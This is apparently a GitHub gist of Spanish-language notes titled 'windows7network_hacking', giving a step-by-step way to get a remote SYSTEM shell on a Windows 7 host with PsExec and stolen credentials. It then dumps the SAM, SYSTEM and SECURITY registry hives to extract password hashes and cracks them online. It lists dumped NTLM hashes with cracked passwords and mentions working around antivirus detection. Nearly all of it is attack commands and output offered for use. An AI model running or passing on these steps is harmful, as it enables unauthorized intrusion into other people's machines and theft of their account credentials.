Skip to content

Instantly share code, notes, and snippets.

@aknik

aknik/windows7network_hacking

Last active August 2, 2016 19:41
Show Gist options
  • Save aknik/ca8dbaeac80b2f95243dd54a2bad3394 to your computer and use it in GitHub Desktop.
Save aknik/ca8dbaeac80b2f95243dd54a2bad3394 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
windows7network_hacking
PsExec.exe \\192.168.1.16 -s cmd -u usuario -p 1234 (si da error de acceso denegado usar las siguientes ordenes net use)
net use * /delete
net use \\192.168.1.16\ipc$ /user:usuario 1234
Copiamos la parte del registro que necesitamos, todas las demas opciones que he probado no funcionan al ser detectadas como virus
reg save HKLM\SAM C:\_sam
reg save HKLM\SYSTEM C:\_system
reg save HKLM\SECURITY C:\_security
La utilidad en python permite extraer los hash https://github.com/aknik/creddump
http://www.onlinehashcrack.com/ se crackean los hash, si son faciles, claroooo
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ""
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ""
USUARIO:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ""
UpdatusUser:1001:aad3b435b51404eeaad3b435b51404ee:39c4518fb8648bf1cc6c6ec8f46d6254:::
usuario:1007:aad3b435b51404eeaad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6::: "1234"
Escaner:1009:aad3b435b51404eeaad3b435b51404ee:4e59832b166458687d9305027a31cdb8::: "ricoh"
HomeGroupUser$:1015:aad3b435b51404eeaad3b435b51404ee:c8c7ed1bdf201acfdfedfd6835c08bed:::
COPIA PSEXEC.EXE AL REMOTO
PsExec.exe \\192.168.1.16 -d -c PsExec.exe -u usuario -p 1234
PowerShell.exe -ExecutionPolicy Unrestricted ------------- Por defecto no se ve el el terminal, al tener esa restrccion
wmic os get osarchitecture --------------- (Para saber si windows es 32 o 64 bits)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment